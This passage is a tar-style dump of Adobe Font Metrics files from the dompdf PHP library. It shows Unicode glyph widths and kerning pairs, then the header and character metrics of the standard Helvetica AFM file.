U 11372 ; WX 527 ; N uni2C6C ; G 3098
U 11373 ; WX 782 ; N uni2C6D ; G 3099
U 11374 ; WX 1024 ; N uni2C6E ; G 3100
U 11375 ; WX 722 ; N uni2C6F ; G 3101
U 11376 ; WX 782 ; N uni2C70 ; G 3102
U 11377 ; WX 663 ; N uni2C71 ; G 3103
U 11378 ; WX 1130 ; N uni2C72 ; G 3104
U 11379 ; WX 939 ; N uni2C73 ; G 3105
U 11381 ; WX 740 ; N uni2C75 ; G 3106
U 11382 ; WX 531 ; N uni2C76 ; G 3107
U 11383 ; WX 700 ; N uni2C77 ; G 3108
U 11385 ; WX 501 ; N uni2C79 ; G 3109
U 11386 ; WX 602 ; N uni2C7A ; G 3110
U 11387 ; WX 553 ; N uni2C7B ; G 3111
U 11388 ; WX 264 ; N uni2C7C ; G 3112
U 11389 ; WX 455 ; N uni2C7D ; G 3113
U 11390 ; WX 685 ; N uni2C7E ; G 3114
U 11391 ; WX 695 ; N uni2C7F ; G 3115
U 11520 ; WX 773 ; N uni2D00 ; G 3116
U 11521 ; WX 635 ; N uni2D01 ; G 3117
U 11522 ; WX 633 ; N uni2D02 ; G 3118
U 11523 ; WX 658 ; N uni2D03 ; G 3119
U 11524 ; WX 631 ; N uni2D04 ; G 3120
U 11525 ; WX 962 ; N uni2D05 ; G 3121
U 11526 ; WX 756 ; N uni2D06 ; G 3122
U 11527 ; WX 960 ; N uni2D07 ; G 3123
U 11528 ; WX 617 ; N uni2D08 ; G 3124
U 11529 ; WX 646 ; N uni2D09 ; G 3125
U 11530 ; WX 962 ; N uni2D0A ; G 3126
U 11531 ; WX 632 ; N uni2D0B ; G 3127
U 11532 ; WX 646 ; N uni2D0C ; G 3128
U 11533 ; WX 962 ; N uni2D0D ; G 3129
U 11534 ; WX 645 ; N uni2D0E ; G 3130
U 11535 ; WX 866 ; N uni2D0F ; G 3131
U 11536 ; WX 961 ; N uni2D10 ; G 3132
U 11537 ; WX 645 ; N uni2D11 ; G 3133
U 11538 ; WX 645 ; N uni2D12 ; G 3134
U 11539 ; WX 959 ; N uni2D13 ; G 3135
U 11540 ; WX 945 ; N uni2D14 ; G 3136
U 11541 ; WX 863 ; N uni2D15 ; G 3137
U 11542 ; WX 644 ; N uni2D16 ; G 3138
U 11543 ; WX 646 ; N uni2D17 ; G 3139
U 11544 ; WX 645 ; N uni2D18 ; G 3140
U 11545 ; WX 649 ; N uni2D19 ; G 3141
U 11546 ; WX 688 ; N uni2D1A ; G 3142
U 11547 ; WX 634 ; N uni2D1B ; G 3143
U 11548 ; WX 982 ; N uni2D1C ; G 3144
U 11549 ; WX 681 ; N uni2D1D ; G 3145
U 11550 ; WX 676 ; N uni2D1E ; G 3146
U 11551 ; WX 852 ; N uni2D1F ; G 3147
U 11552 ; WX 957 ; N uni2D20 ; G 3148
U 11553 ; WX 632 ; N uni2D21 ; G 3149
U 11554 ; WX 645 ; N uni2D22 ; G 3150
U 11555 ; WX 646 ; N uni2D23 ; G 3151
U 11556 ; WX 749 ; N uni2D24 ; G 3152
U 11557 ; WX 914 ; N uni2D25 ; G 3153
U 11800 ; WX 536 ; N uni2E18 ; G 3154
U 11807 ; WX 838 ; N uni2E1F ; G 3155
U 11810 ; WX 390 ; N uni2E22 ; G 3156
U 11811 ; WX 390 ; N uni2E23 ; G 3157
U 11812 ; WX 390 ; N uni2E24 ; G 3158
U 11813 ; WX 390 ; N uni2E25 ; G 3159
U 11822 ; WX 536 ; N uni2E2E ; G 3160
U 42564 ; WX 685 ; N uniA644 ; G 3161
U 42565 ; WX 513 ; N uniA645 ; G 3162
U 42566 ; WX 395 ; N uniA646 ; G 3163
U 42567 ; WX 392 ; N uniA647 ; G 3164
U 42576 ; WX 1104 ; N uniA650 ; G 3165
U 42577 ; WX 939 ; N uniA651 ; G 3166
U 42580 ; WX 1193 ; N uniA654 ; G 3167
U 42581 ; WX 871 ; N uniA655 ; G 3168
U 42582 ; WX 1140 ; N uniA656 ; G 3169
U 42583 ; WX 875 ; N uniA657 ; G 3170
U 42648 ; WX 1416 ; N uniA698 ; G 3171
U 42649 ; WX 999 ; N uniA699 ; G 3172
U 42760 ; WX 493 ; N uniA708 ; G 3173
U 42761 ; WX 493 ; N uniA709 ; G 3174
U 42762 ; WX 493 ; N uniA70A ; G 3175
U 42763 ; WX 493 ; N uniA70B ; G 3176
U 42764 ; WX 493 ; N uniA70C ; G 3177
U 42765 ; WX 493 ; N uniA70D ; G 3178
U 42766 ; WX 493 ; N uniA70E ; G 3179
U 42767 ; WX 493 ; N uniA70F ; G 3180
U 42768 ; WX 493 ; N uniA710 ; G 3181
U 42769 ; WX 493 ; N uniA711 ; G 3182
U 42770 ; WX 493 ; N uniA712 ; G 3183
U 42771 ; WX 493 ; N uniA713 ; G 3184
U 42772 ; WX 493 ; N uniA714 ; G 3185
U 42773 ; WX 493 ; N uniA715 ; G 3186
U 42774 ; WX 493 ; N uniA716 ; G 3187
U 42779 ; WX 369 ; N uniA71B ; G 3188
U 42780 ; WX 369 ; N uniA71C ; G 3189
U 42781 ; WX 253 ; N uniA71D ; G 3190
U 42782 ; WX 253 ; N uniA71E ; G 3191
U 42783 ; WX 253 ; N uniA71F ; G 3192
U 42790 ; WX 872 ; N uniA726 ; G 3193
U 42791 ; WX 634 ; N uniA727 ; G 3194
U 42792 ; WX 843 ; N uniA728 ; G 3195
U 42793 ; WX 754 ; N uniA729 ; G 3196
U 42794 ; WX 612 ; N uniA72A ; G 3197
U 42795 ; WX 560 ; N uniA72B ; G 3198
U 42796 ; WX 548 ; N uniA72C ; G 3199
U 42797 ; WX 531 ; N uniA72D ; G 3200
U 42798 ; WX 629 ; N uniA72E ; G 3201
U 42799 ; WX 610 ; N uniA72F ; G 3202
U 42800 ; WX 514 ; N uniA730 ; G 3203
U 42801 ; WX 513 ; N uniA731 ; G 3204
U 42802 ; WX 1195 ; N uniA732 ; G 3205
U 42803 ; WX 943 ; N uniA733 ; G 3206
U 42804 ; WX 1226 ; N uniA734 ; G 3207
U 42805 ; WX 950 ; N uniA735 ; G 3208
U 42806 ; WX 1149 ; N uniA736 ; G 3209
U 42807 ; WX 933 ; N uniA737 ; G 3210
U 42808 ; WX 968 ; N uniA738 ; G 3211
U 42809 ; WX 784 ; N uniA739 ; G 3212
U 42810 ; WX 968 ; N uniA73A ; G 3213
U 42811 ; WX 784 ; N uniA73B ; G 3214
U 42812 ; WX 962 ; N uniA73C ; G 3215
U 42813 ; WX 759 ; N uniA73D ; G 3216
U 42814 ; WX 765 ; N uniA73E ; G 3217
U 42815 ; WX 560 ; N uniA73F ; G 3218
U 42816 ; WX 747 ; N uniA740 ; G 3219
U 42817 ; WX 606 ; N uniA741 ; G 3220
U 42822 ; WX 787 ; N uniA746 ; G 3221
U 42823 ; WX 434 ; N uniA747 ; G 3222
U 42826 ; WX 932 ; N uniA74A ; G 3223
U 42827 ; WX 711 ; N uniA74B ; G 3224
U 42830 ; WX 1416 ; N uniA74E ; G 3225
U 42831 ; WX 999 ; N uniA74F ; G 3226
U 42856 ; WX 707 ; N uniA768 ; G 3227
U 42857 ; WX 610 ; N uniA769 ; G 3228
U 42875 ; WX 612 ; N uniA77B ; G 3229
U 42876 ; WX 478 ; N uniA77C ; G 3230
U 42880 ; WX 664 ; N uniA780 ; G 3231
U 42881 ; WX 320 ; N uniA781 ; G 3232
U 42882 ; WX 843 ; N uniA782 ; G 3233
U 42883 ; WX 644 ; N uniA783 ; G 3234
U 42884 ; WX 612 ; N uniA784 ; G 3235
U 42885 ; WX 478 ; N uniA785 ; G 3236
U 42886 ; WX 765 ; N uniA786 ; G 3237
U 42887 ; WX 560 ; N uniA787 ; G 3238
U 42891 ; WX 402 ; N uniA78B ; G 3239
U 42892 ; WX 275 ; N uniA78C ; G 3240
U 42893 ; WX 773 ; N uniA78D ; G 3241
U 42896 ; WX 875 ; N uniA790 ; G 3242
U 42897 ; WX 698 ; N uniA791 ; G 3243
U 42922 ; WX 872 ; N uniA7AA ; G 3244
U 43000 ; WX 549 ; N uniA7F8 ; G 3245
U 43001 ; WX 623 ; N uniA7F9 ; G 3246
U 43002 ; WX 957 ; N uniA7FA ; G 3247
U 43003 ; WX 694 ; N uniA7FB ; G 3248
U 43004 ; WX 673 ; N uniA7FC ; G 3249
U 43005 ; WX 1024 ; N uniA7FD ; G 3250
U 43006 ; WX 395 ; N uniA7FE ; G 3251
U 43007 ; WX 1201 ; N uniA7FF ; G 3252
U 62464 ; WX 664 ; N uniF400 ; G 3253
U 62465 ; WX 675 ; N uniF401 ; G 3254
U 62466 ; WX 724 ; N uniF402 ; G 3255
U 62467 ; WX 958 ; N uniF403 ; G 3256
U 62468 ; WX 675 ; N uniF404 ; G 3257
U 62469 ; WX 669 ; N uniF405 ; G 3258
U 62470 ; WX 735 ; N uniF406 ; G 3259
U 62471 ; WX 997 ; N uniF407 ; G 3260
U 62472 ; WX 675 ; N uniF408 ; G 3261
U 62473 ; WX 675 ; N uniF409 ; G 3262
U 62474 ; WX 1268 ; N uniF40A ; G 3263
U 62475 ; WX 693 ; N uniF40B ; G 3264
U 62476 ; WX 692 ; N uniF40C ; G 3265
U 62477 ; WX 963 ; N uniF40D ; G 3266
U 62478 ; WX 675 ; N uniF40E ; G 3267
U 62479 ; WX 692 ; N uniF40F ; G 3268
U 62480 ; WX 1009 ; N uniF410 ; G 3269
U 62481 ; WX 756 ; N uniF411 ; G 3270
U 62482 ; WX 809 ; N uniF412 ; G 3271
U 62483 ; WX 758 ; N uniF413 ; G 3272
U 62484 ; WX 955 ; N uniF414 ; G 3273
U 62485 ; WX 691 ; N uniF415 ; G 3274
U 62486 ; WX 946 ; N uniF416 ; G 3275
U 62487 ; WX 690 ; N uniF417 ; G 3276
U 62488 ; WX 698 ; N uniF418 ; G 3277
U 62489 ; WX 692 ; N uniF419 ; G 3278
U 62490 ; WX 739 ; N uniF41A ; G 3279
U 62491 ; WX 692 ; N uniF41B ; G 3280
U 62492 ; WX 698 ; N uniF41C ; G 3281
U 62493 ; WX 676 ; N uniF41D ; G 3282
U 62494 ; WX 739 ; N uniF41E ; G 3283
U 62495 ; WX 895 ; N uniF41F ; G 3284
U 62496 ; WX 675 ; N uniF420 ; G 3285
U 62497 ; WX 785 ; N uniF421 ; G 3286
U 62498 ; WX 676 ; N uniF422 ; G 3287
U 62499 ; WX 675 ; N uniF423 ; G 3288
U 62500 ; WX 675 ; N uniF424 ; G 3289
U 62501 ; WX 732 ; N uniF425 ; G 3290
U 62502 ; WX 972 ; N uniF426 ; G 3291
U 62504 ; WX 904 ; N uniF428 ; G 3292
U 63172 ; WX 320 ; N uniF6C4 ; G 3293
U 63173 ; WX 602 ; N uniF6C5 ; G 3294
U 63174 ; WX 640 ; N uniF6C6 ; G 3295
U 63175 ; WX 644 ; N uniF6C7 ; G 3296
U 63176 ; WX 947 ; N uniF6C8 ; G 3297
U 63185 ; WX 500 ; N cyrBreve ; G 3298
U 63188 ; WX 500 ; N cyrbreve ; G 3299
U 64256 ; WX 708 ; N uniFB00 ; G 3300
U 64257 ; WX 667 ; N fi ; G 3301
U 64258 ; WX 667 ; N fl ; G 3302
U 64259 ; WX 941 ; N uniFB03 ; G 3303
U 64260 ; WX 986 ; N uniFB04 ; G 3304
U 64261 ; WX 744 ; N uniFB05 ; G 3305
U 64262 ; WX 916 ; N uniFB06 ; G 3306
U 65024 ; WX 0 ; N uniFE00 ; G 3307
U 65025 ; WX 0 ; N uniFE01 ; G 3308
U 65026 ; WX 0 ; N uniFE02 ; G 3309
U 65027 ; WX 0 ; N uniFE03 ; G 3310
U 65028 ; WX 0 ; N uniFE04 ; G 3311
U 65029 ; WX 0 ; N uniFE05 ; G 3312
U 65030 ; WX 0 ; N uniFE06 ; G 3313
U 65031 ; WX 0 ; N uniFE07 ; G 3314
U 65032 ; WX 0 ; N uniFE08 ; G 3315
U 65033 ; WX 0 ; N uniFE09 ; G 3316
U 65034 ; WX 0 ; N uniFE0A ; G 3317
U 65035 ; WX 0 ; N uniFE0B ; G 3318
U 65036 ; WX 0 ; N uniFE0C ; G 3319
U 65037 ; WX 0 ; N uniFE0D ; G 3320
U 65038 ; WX 0 ; N uniFE0E ; G 3321
U 65039 ; WX 0 ; N uniFE0F ; G 3322
U 65529 ; WX 0 ; N uniFFF9 ; G 3323
U 65530 ; WX 0 ; N uniFFFA ; G 3324
U 65531 ; WX 0 ; N uniFFFB ; G 3325
U 65532 ; WX 0 ; N uniFFFC ; G 3326
U 65533 ; WX 1025 ; N uniFFFD ; G 3327
EndCharMetrics
StartKernData 
StartKernPairs 1103

KPX dollar seven -112
KPX dollar nine -102
KPX dollar colon -83
KPX dollar less -83
KPX dollar I -36
KPX dollar W -36
KPX dollar Y -83
KPX dollar Z -92
KPX dollar backslash -83
KPX dollar questiondown -83
KPX dollar Aacute -83
KPX dollar Hbar -112
KPX dollar hbar -36
KPX dollar lacute -83

KPX percent ampersand 38
KPX percent asterisk 38
KPX percent two 38
KPX percent less -36
KPX percent Egrave 38
KPX percent Icircumflex 38
KPX percent agrave 38
KPX percent Ebreve 38
KPX percent lacute -36


KPX quotesingle nine -36


KPX parenright dollar -178
KPX parenright D -139
KPX parenright H -112
KPX parenright R -112
KPX parenright cent -139
KPX parenright sterling -139
KPX parenright currency -139
KPX parenright yen -139
KPX parenright brokenbar -139
KPX parenright section -139
KPX parenright dieresis -139
KPX parenright ordfeminine -112
KPX parenright guillemotleft -112
KPX parenright logicalnot -112
KPX parenright sfthyphen -112
KPX parenright acute -112
KPX parenright mu -112
KPX parenright paragraph -112
KPX parenright periodcentered -112
KPX parenright cedilla -112
KPX parenright ordmasculine -112
KPX parenright Yacute -112
KPX parenright ebreve -112

KPX asterisk less -36
KPX asterisk lacute -36


KPX period dollar -83
KPX period ampersand -55
KPX period two -55
KPX period eight -73
KPX period colon -73
KPX period less -55
KPX period H -55
KPX period R -55
KPX period X -45
KPX period backslash -131
KPX period ordfeminine -55
KPX period guillemotleft -55
KPX period logicalnot -55
KPX period sfthyphen -55
KPX period acute -55
KPX period mu -55
KPX period paragraph -55
KPX period periodcentered -55
KPX period cedilla -55
KPX period ordmasculine -36
KPX period guillemotright -45
KPX period onequarter -45
KPX period onehalf -45
KPX period threequarters -45
KPX period questiondown -131
KPX period Aacute -131
KPX period Egrave -55
KPX period Icircumflex -55
KPX period Yacute -55
KPX period Ebreve -55
KPX period ebreve -55
KPX period Idot -73
KPX period dotlessi -45
KPX period lacute -55

KPX slash seven -167
KPX slash eight -112
KPX slash nine -243
KPX slash colon -178
KPX slash less -131
KPX slash backslash -36
KPX slash questiondown -36
KPX slash Aacute -36
KPX slash Hbar -167
KPX slash Idot -112
KPX slash lacute -131


KPX two nine -36
KPX two semicolon -36

KPX three dollar -188
KPX three eight -36
KPX three D -92
KPX three H -92
KPX three R -83
KPX three V -55
KPX three cent -92
KPX three sterling -92
KPX three currency -92
KPX three yen -92
KPX three brokenbar -92
KPX three section -92
KPX three dieresis -92
KPX three ordfeminine -92
KPX three guillemotleft -92
KPX three logicalnot -92
KPX three sfthyphen -92
KPX three acute -83
KPX three mu -83
KPX three paragraph -83
KPX three periodcentered -83
KPX three cedilla -83
KPX three ordmasculine -83
KPX three Yacute -92
KPX three ebreve -83
KPX three gdotaccent -55
KPX three gcommaaccent -55
KPX three Idot -36


KPX five seven -36
KPX five nine -73
KPX five colon -45
KPX five less -63
KPX five D 47
KPX five backslash -36
KPX five cent 47
KPX five sterling 47
KPX five currency 47
KPX five yen 47
KPX five brokenbar 47
KPX five section 47
KPX five dieresis 47
KPX five ordmasculine 38
KPX five questiondown -36
KPX five Aacute -36
KPX five Hbar -36
KPX five lacute -63

KPX six six -36
KPX six Gdotaccent -36
KPX six Gcommaaccent -36

KPX seven dollar -112
KPX seven seven 38
KPX seven D -159
KPX seven F -159
KPX seven H -159
KPX seven R -159
KPX seven V -149
KPX seven Z -73
KPX seven cent -159
KPX seven sterling -159
KPX seven currency -159
KPX seven yen -159
KPX seven brokenbar -159
KPX seven section -159
KPX seven dieresis -159
KPX seven copyright -159
KPX seven ordfeminine -159
KPX seven guillemotleft -159
KPX seven logicalnot -159
KPX seven sfthyphen -159
KPX seven acute -159
KPX seven mu -159
KPX seven paragraph -159
KPX seven periodcentered -159
KPX seven cedilla -159
KPX seven ordmasculine -159
KPX seven Eacute -159
KPX seven Idieresis -159
KPX seven Yacute -159
KPX seven ebreve -159
KPX seven gdotaccent -149
KPX seven gcommaaccent -149
KPX seven Hbar 38

KPX eight dollar -63
KPX eight hyphen -55

KPX nine dollar -139
KPX nine two -36
KPX nine D -188
KPX nine H -188
KPX nine L -36
KPX nine R -188
KPX nine X -131
KPX nine backslash -83
KPX nine cent -188
KPX nine sterling -188
KPX nine currency -188
KPX nine yen -188
KPX nine brokenbar -188
KPX nine section -188
KPX nine dieresis -188
KPX nine ordfeminine -188
KPX nine guillemotleft -188
KPX nine logicalnot -188
KPX nine sfthyphen -188
KPX nine acute -188
KPX nine mu -188
KPX nine paragraph -188
KPX nine periodcentered -188
KPX nine cedilla -188
KPX nine ordmasculine -188
KPX nine guillemotright -131
KPX nine onequarter -131
KPX nine onehalf -131
KPX nine threequarters -131
KPX nine questiondown -83
KPX nine Aacute -83
KPX nine Yacute -188
KPX nine Ebreve -36
KPX nine ebreve -188
KPX nine dotlessi -131

KPX colon dollar -102
KPX colon D -178
KPX colon H -167
KPX colon L -36
KPX colon R -139
KPX colon U -92
KPX colon X -83
KPX colon backslash -45
KPX colon cent -178
KPX colon sterling -178
KPX colon currency -178
KPX colon yen -178
KPX colon brokenbar -178
KPX colon section -178
KPX colon dieresis -139
KPX colon ordfeminine -167
KPX colon guillemotleft -167
KPX colon logicalnot -167
KPX colon sfthyphen -167
KPX colon acute -139
KPX colon mu -139
KPX colon paragraph -139
KPX colon periodcentered -139
KPX colon cedilla -139
KPX colon ordmasculine -139
KPX colon guillemotright -83
KPX colon onequarter -83
KPX colon onehalf -83
KPX colon threequarters -83
KPX colon questiondown -45
KPX colon Aacute -45
KPX colon Yacute -167
KPX colon ebreve -139
KPX colon edotaccent -92
KPX colon ecaron -92
KPX colon dotlessi -83

KPX semicolon dollar -73
KPX semicolon ampersand -36
KPX semicolon two -36
KPX semicolon Egrave -36
KPX semicolon Icircumflex -36
KPX semicolon Ebreve -36

KPX less dollar -159
KPX less ampersand -36
KPX less D -159
KPX less H -178
KPX less L -36
KPX less R -178
KPX less X -178
KPX less cent -159
KPX less sterling -159
KPX less currency -159
KPX less yen -159
KPX less brokenbar -159
KPX less section -159
KPX less dieresis -196
KPX less ordfeminine -178
KPX less guillemotleft -178
KPX less logicalnot -178
KPX less sfthyphen -178
KPX less acute -178
KPX less mu -178
KPX less paragraph -178
KPX less periodcentered -178
KPX less cedilla -178
KPX less ordmasculine -178
KPX less guillemotright -178
KPX less onequarter -178
KPX less onehalf -178
KPX less threequarters -178
KPX less Egrave -36
KPX less Icircumflex -36
KPX less Yacute -178
KPX less ebreve -215
KPX less dotlessi -178























KPX Eth nine -36


KPX agrave less -36
KPX agrave lacute -36

KPX ucircumflex seven -167
KPX ucircumflex eight -112
KPX ucircumflex nine -243
KPX ucircumflex colon -178
KPX ucircumflex less -131
KPX ucircumflex backslash -36
KPX ucircumflex questiondown -36
KPX ucircumflex Aacute -36
KPX ucircumflex Hbar -167
KPX ucircumflex Idot -112
KPX ucircumflex lacute -131

KPX ydieresis seven -167
KPX ydieresis eight -112
KPX ydieresis nine -243
KPX ydieresis colon -178
KPX ydieresis less -131
KPX ydieresis backslash -36
KPX ydieresis questiondown -36
KPX ydieresis Aacute -36
KPX ydieresis Hbar -167
KPX ydieresis Idot -112
KPX ydieresis lacute -131

KPX Abreve O -227

KPX abreve seven -167
KPX abreve eight -36
KPX abreve nine -243
KPX abreve colon -178
KPX abreve less -206
KPX abreve backslash -36
KPX abreve questiondown -36
KPX abreve Aacute -36
KPX abreve Hbar -167
KPX abreve Idot -36
KPX abreve lacute -206



KPX Edotaccent seven -36
KPX Edotaccent nine -73
KPX Edotaccent colon -45
KPX Edotaccent less -63
KPX Edotaccent D 47
KPX Edotaccent backslash -36
KPX Edotaccent cent 47
KPX Edotaccent sterling 47
KPX Edotaccent currency 47
KPX Edotaccent yen 47
KPX Edotaccent brokenbar 47
KPX Edotaccent section 47
KPX Edotaccent dieresis 47
KPX Edotaccent ordmasculine 38
KPX Edotaccent questiondown -36
KPX Edotaccent Aacute -36
KPX Edotaccent Hbar -36
KPX Edotaccent lacute -63


KPX Ecaron seven -36
KPX Ecaron nine -73
KPX Ecaron colon -45
KPX Ecaron less -63
KPX Ecaron D 47
KPX Ecaron backslash -36
KPX Ecaron cent 47
KPX Ecaron sterling 47
KPX Ecaron currency 47
KPX Ecaron yen 47
KPX Ecaron brokenbar 47
KPX Ecaron section 47
KPX Ecaron dieresis 47
KPX Ecaron ordmasculine 38
KPX Ecaron questiondown -36
KPX Ecaron Aacute -36
KPX Ecaron Hbar -36
KPX Ecaron lacute -63


KPX Gdotaccent six -36
KPX Gdotaccent Gdotaccent -36
KPX Gdotaccent Gcommaaccent -36

KPX Gcommaaccent six -36
KPX Gcommaaccent Gdotaccent -36
KPX Gcommaaccent Gcommaaccent -36

KPX Hbar dollar -112
KPX Hbar seven 38
KPX Hbar D -159
KPX Hbar F -159
KPX Hbar H -159
KPX Hbar R -159
KPX Hbar V -149
KPX Hbar Z -73
KPX Hbar cent -159
KPX Hbar sterling -159
KPX Hbar currency -159
KPX Hbar yen -159
KPX Hbar brokenbar -159
KPX Hbar section -159
KPX Hbar dieresis -159
KPX Hbar copyright -159
KPX Hbar ordfeminine -159
KPX Hbar guillemotleft -159
KPX Hbar logicalnot -159
KPX Hbar sfthyphen -159
KPX Hbar acute -159
KPX Hbar mu -159
KPX Hbar paragraph -159
KPX Hbar periodcentered -159
KPX Hbar cedilla -159
KPX Hbar ordmasculine -159
KPX Hbar Eacute -159
KPX Hbar Idieresis -159
KPX Hbar Yacute -159
KPX Hbar ebreve -159
KPX Hbar gdotaccent -149
KPX Hbar gcommaaccent -149
KPX Hbar Hbar 38

KPX Idot dollar -63
KPX Idot hyphen -55

KPX kcommaaccent D 110
KPX kcommaaccent F 85
KPX kcommaaccent G 97
KPX kcommaaccent H 86
KPX kcommaaccent I 220
KPX kcommaaccent J 97
KPX kcommaaccent L 220
KPX kcommaaccent M 218
KPX kcommaaccent P 125
KPX kcommaaccent Q 125
KPX kcommaaccent R 85
KPX kcommaaccent S 140
KPX kcommaaccent T 97
KPX kcommaaccent U 125
KPX kcommaaccent V 155
KPX kcommaaccent W 235
KPX kcommaaccent X 144
KPX kcommaaccent Y 205
KPX kcommaaccent Z 166
KPX kcommaaccent bracketleft 174
KPX kcommaaccent backslash 205
KPX kcommaaccent bracketright 179
KPX kcommaaccent kcommaaccent 261

KPX lacute dollar -159
KPX lacute ampersand -36
KPX lacute D -159
KPX lacute H -178
KPX lacute L -36
KPX lacute R -178
KPX lacute X -178
KPX lacute cent -159
KPX lacute sterling -159
KPX lacute currency -159
KPX lacute yen -159
KPX lacute brokenbar -159
KPX lacute section -159
KPX lacute dieresis -196
KPX lacute ordfeminine -178
KPX lacute guillemotleft -178
KPX lacute logicalnot -178
KPX lacute sfthyphen -178
KPX lacute acute -178
KPX lacute mu -178
KPX lacute paragraph -178
KPX lacute periodcentered -178
KPX lacute cedilla -178
KPX lacute ordmasculine -178
KPX lacute guillemotright -178
KPX lacute onequarter -178
KPX lacute onehalf -178
KPX lacute threequarters -178
KPX lacute Egrave -36
KPX lacute Icircumflex -36
KPX lacute Yacute -178
KPX lacute ebreve -215
KPX lacute dotlessi -178


KPX uni027D dollar -264
KPX uni027D hyphen 47
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/Helvetica.afm000066600000227264151150442760015101 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  1 12:38:23 1997
Comment UniqueID 43054
Comment VMusage 37069 48094
FontName Helvetica
FullName Helvetica
FamilyName Helvetica
Weight Medium
ItalicAngle 0
IsFixedPitch false
CharacterSet ExtendedRoman
FontBBox -166 -225 1000 931 
UnderlinePosition -100
UnderlineThickness 50
Version 002.000
Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated.  All Rights Reserved.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries.
EncodingScheme WinAnsiEncoding
CapHeight 718
XHeight 523
Ascender 718
Descender -207
StdHW 76
StdVW 88
StartCharMetrics 317
C 32 ; WX 278 ; N space ; B 0 0 0 0 ;
C 160 ; WX 278 ; N space ; B 0 0 0 0 ;
C 33 ; WX 278 ; N exclam ; B 90 0 187 718 ;
C 34 ; WX 355 ; N quotedbl ; B 70 463 285 718 ;
C 35 ; WX 556 ; N numbersign ; B 28 0 529 688 ;
C 36 ; WX 556 ; N dollar ; B 32 -115 520 775 ;
C 37 ; WX 889 ; N percent ; B 39 -19 850 703 ;
C 38 ; WX 667 ; N ampersand ; B 44 -15 645 718 ;
C 146 ; WX 222 ; N quoteright ; B 53 463 157 718 ;
C 40 ; WX 333 ; N parenleft ; B 68 -207 299 733 ;
C 41 ; WX 333 ; N parenright ; B 34 -207 265 733 ;
C 42 ; WX 389 ; N asterisk ; B 39 431 349 718 ;
C 43 ; WX 584 ; N plus ; B 39 0 545 505 ;
C 44 ; WX 278 ; N comma ; B 87 -147 191 106 ;
C 45 ; WX 333 ; N hyphen ; B 44 232 289 322 ;
C 173 ; WX 333 ; N hyphen ; B 44 232 289 322 ;
C 46 ; WX 278 ; N period ; B 87 0 191 106 ;
C 47 ; WX 278 ; N slash ; B -17 -19 295 737 ;
C 48 ; WX 556 ; N zero ; B 37 -19 519 703 ;
C 49 ; WX 556 ; N one ; B 101 0 359 703 ;
C 50 ; WX 556 ; N two ; B 26 0 507 703 ;
C 51 ; WX 556 ; N three ; B 34 -19 522 703 ;
C 52 ; WX 556 ; N four ; B 25 0 523 703 ;
C 53 ; WX 556 ; N five ; B 32 -19 514 688 ;
C 54 ; WX 556 ; N six ; B 38 -19 518 703 ;
C 55 ; WX 556 ; N seven ; B 37 0 523 688 ;
C 56 ; WX 556 ; N eight ; B 38 -19 517 703 ;
C 57 ; WX 556 ; N nine ; B 42 -19 514 703 ;
C 58 ; WX 278 ; N colon ; B 87 0 191 516 ;
C 59 ; WX 278 ; N semicolon ; B 87 -147 191 516 ;
C 60 ; WX 584 ; N less ; B 48 11 536 495 ;
C 61 ; WX 584 ; N equal ; B 39 115 545 390 ;
C 62 ; WX 584 ; N greater ; B 48 11 536 495 ;
C 63 ; WX 556 ; N question ; B 56 0 492 727 ;
C 64 ; WX 1015 ; N at ; B 147 -19 868 737 ;
C 65 ; WX 667 ; N A ; B 14 0 654 718 ;
C 66 ; WX 667 ; N B ; B 74 0 627 718 ;
C 67 ; WX 722 ; N C ; B 44 -19 681 737 ;
C 68 ; WX 722 ; N D ; B 81 0 674 718 ;
C 69 ; WX 667 ; N E ; B 86 0 616 718 ;
C 70 ; WX 611 ; N F ; B 86 0 583 718 ;
C 71 ; WX 778 ; N G ; B 48 -19 704 737 ;
C 72 ; WX 722 ; N H ; B 77 0 646 718 ;
C 73 ; WX 278 ; N I ; B 91 0 188 718 ;
C 74 ; WX 500 ; N J ; B 17 -19 428 718 ;
C 75 ; WX 667 ; N K ; B 76 0 663 718 ;
C 76 ; WX 556 ; N L ; B 76 0 537 718 ;
C 77 ; WX 833 ; N M ; B 73 0 761 718 ;
C 78 ; WX 722 ; N N ; B 76 0 646 718 ;
C 79 ; WX 778 ; N O ; B 39 -19 739 737 ;
C 80 ; WX 667 ; N P ; B 86 0 622 718 ;
C 81 ; WX 778 ; N Q ; B 39 -56 739 737 ;
C 82 ; WX 722 ; N R ; B 88 0 684 718 ;
C 83 ; WX 667 ; N S ; B 49 -19 620 737 ;
C 84 ; WX 611 ; N T ; B 14 0 597 718 ;
C 85 ; WX 722 ; N U ; B 79 -19 644 718 ;
C 86 ; WX 667 ; N V ; B 20 0 647 718 ;
C 87 ; WX 944 ; N W ; B 16 0 928 718 ;
C 88 ; WX 667 ; N X ; B 19 0 648 718 ;
C 89 ; WX 667 ; N Y ; B 14 0 653 718 ;
C 90 ; WX 611 ; N Z ; B 23 0 588 718 ;
C 91 ; WX 278 ; N bracketleft ; B 63 -196 250 722 ;
C 92 ; WX 278 ; N backslash ; B -17 -19 295 737 ;
C 93 ; WX 278 ; N bracketright ; B 28 -196 215 722 ;
C 94 ; WX 469 ; N asciicircum ; B -14 264 483 688 ;
C 95 ; WX 556 ; N underscore ; B 0 -125 556 -75 ;
C 145 ; WX 222 ; N quoteleft ; B 65 470 169 725 ;
C 97 ; WX 556 ; N a ; B 36 -15 530 538 ;
C 98 ; WX 556 ; N b ; B 58 -15 517 718 ;
C 99 ; WX 500 ; N c ; B 30 -15 477 538 ;
C 100 ; WX 556 ; N d ; B 35 -15 499 718 ;
C 101 ; WX 556 ; N e ; B 40 -15 516 538 ;
C 102 ; WX 278 ; N f ; B 14 0 262 728 ; L i fi ; L l fl ;
C 103 ; WX 556 ; N g ; B 40 -220 499 538 ;
C 104 ; WX 556 ; N h ; B 65 0 491 718 ;
C 105 ; WX 222 ; N i ; B 67 0 155 718 ;
C 106 ; WX 222 ; N j ; B -16 -210 155 718 ;
C 107 ; WX 500 ; N k ; B 67 0 501 718 ;
C 108 ; WX 222 ; N l ; B 67 0 155 718 ;
C 109 ; WX 833 ; N m ; B 65 0 769 538 ;
C 110 ; WX 556 ; N n ; B 65 0 491 538 ;
C 111 ; WX 556 ; N o ; B 35 -14 521 538 ;
